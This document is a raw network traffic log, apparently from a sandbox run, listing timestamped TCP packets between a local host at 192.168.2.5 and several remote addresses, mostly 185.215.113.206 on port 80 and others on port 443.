Nov 25, 2024 16:21:39.024019003 CET	49817	443	192.168.2.5	23.44.203.20
Nov 25, 2024 16:21:39.024038076 CET	443	49817	23.44.203.20	192.168.2.5
Nov 25, 2024 16:21:39.060595989 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060620070 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060628891 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060663939 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060683966 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060693026 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060714006 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.060729980 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.060754061 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.060859919 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.073084116 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.094114065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.094233990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.094400883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.094590902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.094743967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.095052958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.095571041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.095963955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.096071005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.096128941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.096256971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.096940994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.097058058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.097176075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.097867966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.097981930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.098169088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.098556995 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.098587990 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.098886967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.098988056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.099035978 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.099041939 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.099069118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.099873066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.099999905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.100174904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.100857973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.100979090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.101226091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.101862907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.101950884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.102011919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.102838993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.102973938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.102999926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.103157997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.103858948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.103909969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.104068995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.104861021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.104954004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.104979992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.105830908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.105855942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.105928898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.106440067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.107074022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.107114077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.107175112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.107892036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.107964993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.107990980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.108149052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.108813047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.108916998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.109210014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.109441996 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109467030 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109474897 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109503031 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109522104 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109530926 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109549046 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.109565020 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.109591961 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.109627008 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.109822035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.109906912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.109940052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.110019922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.110805988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.110819101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.110999107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.111809969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.111877918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.111902952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.112791061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.112907887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.112932920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.113224983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.113790989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.113879919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.113987923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.114794016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.114878893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.115008116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.115757942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.115885973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.116168976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.116801977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.116875887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.117089987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.117767096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.117800951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.117861986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.118793964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.118889093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.118913889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.119052887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.119771004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.119837046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.120127916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.120740891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.120840073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.120866060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.121699095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.121721983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.121834993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.121908903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.122004032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.122709990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.122816086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.122831106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.122915983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.123785973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.123867989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.123897076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.124066114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.124732018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.124813080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.124835968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.125595093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.125752926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.125832081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.125853062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.125943899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.126705885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.126836061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.126883984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.126883984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.127749920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.127830982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.127840996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.127996922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.128778934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.128863096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.128885984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.129029036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.129710913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.129806995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.129919052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.130676985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.130820036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.130861044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.130966902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.131701946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.131758928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.131786108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.131829023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.132780075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.132874966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.132900000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.133009911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.133713007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.133800030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.133826017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.134689093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.134836912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.134880066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.135037899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.135685921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.135817051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.135838985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.136641979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.136759043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.136790037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.136820078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.137631893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.137753963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.137779951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.138655901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.138783932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.138809919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.138839006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.139620066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.139682055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.139708042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.140068054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.140650034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.140779018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.140806913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.141686916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.141696930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.141787052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.141866922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.142870903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.142891884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.142894030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.142950058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.143918991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.143933058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.144124985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.144587040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.144707918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.144809961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.144848108 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.145601034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.145672083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.145695925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.145777941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.156876087 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.156898022 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.157526970 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.157532930 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.184204102 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.185142994 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.185161114 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.185637951 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.185642958 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.230293989 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.230309010 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.230335951 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.230413914 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.230422020 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.230474949 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.276320934 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.276349068 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.276392937 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.276412964 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.276437044 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.276459932 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.286158085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.286210060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.286312103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.286467075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.286495924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.286513090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.286566019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.286849976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.287544966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.287595034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.287674904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.287750006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.288491011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.288491011 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.288503885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.288513899 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.288556099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.288558006 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.288572073 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.288608074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.288631916 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.288631916 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.289163113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.289206982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.289274931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.289311886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.290169001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.290227890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.290290117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.290425062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.291161060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.291214943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.291246891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.291285038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.292166948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.292236090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.292305946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.292418957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.293126106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.293240070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.293271065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.293308020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.294179916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.294233084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.294261932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.294298887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.295125961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.295171976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.295232058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.295300961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.296116114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.296231985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.296235085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.296268940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.297113895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.297161102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.297245979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.297285080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.298130989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.298185110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.298233032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.298326969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.299104929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.299155951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.299232006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.299496889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.300147057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.300209999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.300210953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.300260067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.301090956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.301151991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.301197052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.301239967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.302081108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.302227020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.302227974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.302263021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.303128004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.303198099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.303225040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.303261042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.304048061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.304088116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.304160118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.304271936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.305121899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.305186033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.305191040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.305222988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.306051016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.306103945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.306166887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.306205034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.307140112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.307220936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.307250977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.307286978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.308068037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.308131933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.308150053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.308187962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.309046030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.309087038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.309154034 CET	80	49765	185.215.113.206	192.168.2.5
